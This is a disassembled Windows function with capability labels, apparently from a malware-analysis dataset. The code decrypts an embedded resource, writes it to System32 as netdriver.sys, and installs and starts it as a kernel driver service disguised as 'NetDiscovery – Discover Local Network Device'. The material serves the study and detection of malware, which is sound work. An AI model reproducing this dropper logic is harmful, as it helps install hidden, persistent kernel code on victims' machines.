Function at 0x4015f0
Capabilities:
Create service
Extract resource via kernel32 functions
Query environment variable
Start service
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [0x41b004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0xf003f
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
push 0
push 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x40], 0
movaps xmmword [ebp - 0x30], xmm0
movaps xmmword [ebp - 0x20], xmm0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
jne 0x401690
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._x__OpenSCManager_failed___d__n
call fcn.00401010
add esp, 8
or eax, 0xffffffff
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401f10
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0xf01ff
push str.NetDiscovery
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x3c], eax
test eax, eax
je 0x4016c3
push str.___Service_Existed_n
call fcn.00401010
mov eax, dword [ebp - 0x3c]
add esp, 4
jmp 0x401a23
push 0
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0xa
push 0x65
push 0
mov dword [ebp - 0x44], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x3c], eax
test eax, eax
jne 0x401705
call esi
push eax
push str._x__getResourceData::FindResource_error:_0x_x_n
call fcn.00401010
add esp, 8
xor ecx, ecx
xor edx, edx
jmp 0x401812
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x40], eax
test eax, eax
jne 0x401735
call esi
push eax
push str._x__getResourceData::LoadResource_error:_0x_x_n
call fcn.00401010
add esp, 8
xor ecx, ecx
xor edx, edx
jmp 0x401812
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push dword [ebp - 0x3c]
mov dword [ebp - 0x4c], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x3c], eax
test eax, eax
jne 0x401778
push eax
push str._x__getResourceData::SizeOfResource_error:_0x_x_n
call fcn.00401010
add esp, 8
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_FreeResource]
xor ecx, ecx
xor edx, edx
jmp 0x401812
push 4
push 0x3000
push eax
push 0
mov dword [ebp - 0x48], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x44], eax
test eax, eax
jne 0x4017af
push str._x__getResourceData::VirtualAlloc_data_error:_0x_x_n
call fcn.00401010
add esp, 4
call esi
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, dword [ebp - 0x44]
jmp 0x40180f
push dword [ebp - 0x3c]
push dword [ebp - 0x4c]
push eax
call fcn.004034d0
add esp, 0xc
test eax, eax
jne 0x4017fa
call esi
push eax
push str._x__Read_Resource_Error:_0x_x_n
call fcn.00401010
add esp, 8
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, dword [ebp - 0x44]
push 0x8000
push dword [ebp - 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [ebp - 0x48]
xor ecx, ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x48], edx
jmp 0x401812
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x48], ecx
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x44], ecx
mov edx, dword [ebp - 0x48]
lea eax, [edx - 0x34]
add eax, ecx
push 0x34
push 0
push eax
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x30], xmm0
movups xmm0, xmmword [eax + 0x10]
movups xmmword [ebp - 0x20], xmm0
mov ecx, dword [ecx + edx - 4]
mov dword [ebp - 0x3c], ecx
call fcn.00402e20
mov edx, dword [ebp - 0x48]
lea eax, [ebp - 0x60]
mov ecx, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x50]
push eax
lea edx, [edx - 0x34]
call fcn.00401040
add esp, 0x1c
test eax, eax
jns 0x4018b4
push str._x__Decrypt_Process_error_n
call fcn.00401010
add esp, 4
mov eax, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
or esi, 0xffffffff
push edi
call eax
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 0x44]
test eax, eax
je 0x40188d
mov edx, dword [ebp - 0x48]
push 0x8000
push edx
push eax
call edi
mov eax, dword [ebp - 0x50]
test eax, eax
je 0x40189f
push 0x8000
push dword [ebp - 0x38]
push eax
call edi
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.00401f10
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 4
push 0x3000
push 0x208
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x4c], eax
test eax, eax
jne 0x4018e1
call esi
push eax
push str._x__VirtualAlloc_fileName_error:_0x_x_n
call fcn.00401010
add esp, 8
jmp 0x401869
push 0x104
push eax
push str._SYSTEMROOT_System32_netdriver.sys
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x401900
call esi
push eax
push str._x__wprintf_ExpandEnvironmentStringsW_error:_0x_x_n
jmp 0x40193a
mov eax, dword [ebp - 0x4c]
push eax
push str._ws_n
call fcn.00401010
add esp, 8
push 0
push 2
push 2
push 0
push 1
push 0x40000000
push dword [ebp - 0x4c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, eax
mov dword [ebp - 0x40], ecx
test ecx, ecx
jne 0x401955
call esi
push eax
push str._x__CreateFile_Failed:_0x_x_n
call fcn.00401010
mov eax, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add esp, 8
or esi, 0xffffffff
push edi
call eax
mov eax, dword [ebp - 0x4c]
jmp 0x401a7e
mov eax, dword [ebp - 0x3c]
mov esi, eax
test eax, eax
je 0x401983
nop
push 0
lea edx, [ebp - 0x34]
sub eax, esi
add eax, dword [ebp - 0x50]
push edx
push esi
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4019d3
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
sub esi, dword [ebp - 0x34]
jne 0x401960
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0
push 0
push dword [ebp - 0x4c]
push 1
push 3
push 1
push 0xf01ff
push str.Discover_Local_Network_Device
push str.NetDiscovery
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x3c], eax
test eax, eax
jne 0x401a07
call esi
cmp eax, 0x431
je 0x4019f7
call esi
push eax
push str._x__CreateService_failed___d__n
jmp 0x4019df
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._x__WriteFileW_decryptData_error:_0x_x_n
call fcn.00401010
mov eax, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add esp, 8
or esi, 0xffffffff
push edi
call eax
mov eax, dword [ebp - 0x40]
jmp 0x401a6c
push str.____Services_already_installed_n
call fcn.00401010
mov eax, dword [ebp - 0x3c]
add esp, 4
push eax
mov eax, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call eax
push 0xf01ff
push str.NetDiscovery
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0x3c], eax
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x401a4e
call esi
cmp eax, 0x420
je 0x401a4e
push eax
push str._x__StartServiceW_error:_0x_x_n
call fcn.00401010
add esp, 8
or esi, 0xffffffff
jmp 0x401a50
xor esi, esi
mov eax, dword [ebp - 0x3c]
test eax, eax
je 0x401a5e
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x40]
test eax, eax
je 0x401a73
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x4c]
test eax, eax
je 0x401874
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0x200
push eax
call edi
jmp 0x40187a